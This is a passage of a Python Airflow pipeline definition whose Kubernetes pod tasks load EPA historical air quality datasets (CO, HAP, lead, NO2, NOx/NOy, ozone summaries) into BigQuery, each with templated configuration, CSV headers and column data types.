var.json.epa_historical_air_quality.annual_summary.source_url }}", "START_YEAR": "1980", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.annual_summary.table_id }}", "YEAR_FIELD_NAME": "year", "YEAR_FIELD_TYPE": "INT", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.annual_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.annual_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.annual_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - annual_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "metric_used", "method_name", "year", "units_of_measure",\n "event_type", "observation_count", "observation_percent", "completeness_indicator", "valid_day_count",\n "required_day_count", "exceptional_data_count", "null_data_count", "primary_exceedance_count", "secondary_exceedance_count",\n "certification_indicator", "num_obs_below_mdl", "arithmetic_mean", "arithmetic_standard_dev", "first_max_value",\n "first_max_datetime", "second_max_value", "second_max_datetime", "third_max_value", "third_max_datetime",\n "fourth_max_value", "fourth_max_datetime", "first_max_non_overlapping_value", "first_no_max_datetime", "second_max_non_overlapping_value",\n "second_no_max_datetime", "ninety_nine_percentile", "ninety_eight_percentile", "ninety_five_percentile", "ninety_percentile",\n "seventy_five_percentile", "fifty_percentile", "ten_percentile", "local_site_name", "address",\n "state_name", "county_name", "city_name", "cbsa_name", "date_of_last_change"]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "metric_used": "str", "method_name": "str", "year": "int32", "units_of_measure": "str",\n "event_type": "str", "observation_count": "int32", "observation_percent": "float64", "completeness_indicator": "str", "valid_day_count": "int32",\n "required_day_count": "int32", "exceptional_data_count": "int32", "null_data_count": "int32", "primary_exceedance_count": "str", "secondary_exceedance_count": "str",\n "certification_indicator": "str", "num_obs_below_mdl": "int32", "arithmetic_mean": "float64", "arithmetic_standard_dev": "float64", "first_max_value": "float64",\n "first_max_datetime": "datetime64[ns]", "second_max_value": "float64", "second_max_datetime": "datetime64[ns]", "third_max_value": "float64", "third_max_datetime": "datetime64[ns]",\n "fourth_max_value": "float64", "fourth_max_datetime": "datetime64[ns]", "first_max_non_overlapping_value": "float64", "first_no_max_datetime": "datetime64[ns]", "second_max_non_overlapping_value": "float64",\n "second_no_max_datetime": "datetime64[ns]", "ninety_nine_percentile": "float64", "ninety_eight_percentile": "float64", "ninety_five_percentile": "float64", "ninety_percentile": "float64",\n "seventy_five_percentile": "float64", "fifty_percentile": "float64", "ten_percentile": "float64", "local_site_name": "str", "address": "str",\n "state_name": "str", "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "metric_used", "method_name", "year", "units_of_measure",\n "event_type", "observation_count", "observation_percent", "completeness_indicator", "valid_day_count",\n "required_day_count", "exceptional_data_count", "null_data_count", "primary_exceedance_count", "secondary_exceedance_count",\n "certification_indicator", "num_obs_below_mdl", "arithmetic_mean", "arithmetic_standard_dev", "first_max_value",\n "first_max_datetime", "second_max_value", "second_max_datetime", "third_max_value", "third_max_datetime",\n "fourth_max_value", "fourth_max_datetime", "first_max_non_overlapping_value", "first_no_max_datetime", "second_max_non_overlapping_value",\n "second_no_max_datetime", "ninety_nine_percentile", "ninety_eight_percentile", "ninety_five_percentile", "ninety_percentile",\n "seventy_five_percentile", "fifty_percentile", "ten_percentile", "local_site_name", "address",\n "state_name", "county_name", "city_name", "cbsa_name", "date_of_last_change"]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod co_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="co_daily_summary", startup_timeout_seconds=600, name="load_co_daily_summary", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.co_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.co_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.co_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.co_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.co_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - co_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "str", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod co_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="co_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.co_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.co_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.co_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.co_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.co_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - co_hourly_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code",\n "method_name", "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "str", "longitude": "str", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]", "time_local": "str",\n "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "str", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "str", "qualifier": "str", "method_type": "str", "method_code": "str",\n "method_name": "str", "state_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code",\n "method_name", "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod hap_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="hap_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.hap_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.hap_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.hap_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.hap_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.hap_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - hap_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod hap_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="hap_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.hap_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.hap_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.hap_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.hap_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.hap_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - hap_hourly_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod lead_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="lead_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.lead_daily_summary.source_url }}", "START_YEAR": "1980", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.lead_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.lead_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.lead_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.lead_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - lead_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod no2_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="no2_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.no2_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.no2_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.no2_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.no2_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.no2_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - no2_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod no2_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="no2_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.no2_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.no2_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.no2_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.no2_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.no2_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - no2_hourly", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod nonoxnoy_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="nonoxnoy_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.nonoxnoy_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.nonoxnoy_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.nonoxnoy_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.nonoxnoy_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.nonoxnoy_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - nonoxnoy_daily", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod nonoxnoy_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="nonoxnoy_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.nonoxnoy_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.nonoxnoy_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.nonoxnoy_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.nonoxnoy_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.nonoxnoy_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - nonoxnoy_hourly", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod ozone_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="ozone_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.ozone_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.ozone_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.ozone_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.ozone_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.ozone_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - ozone_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ 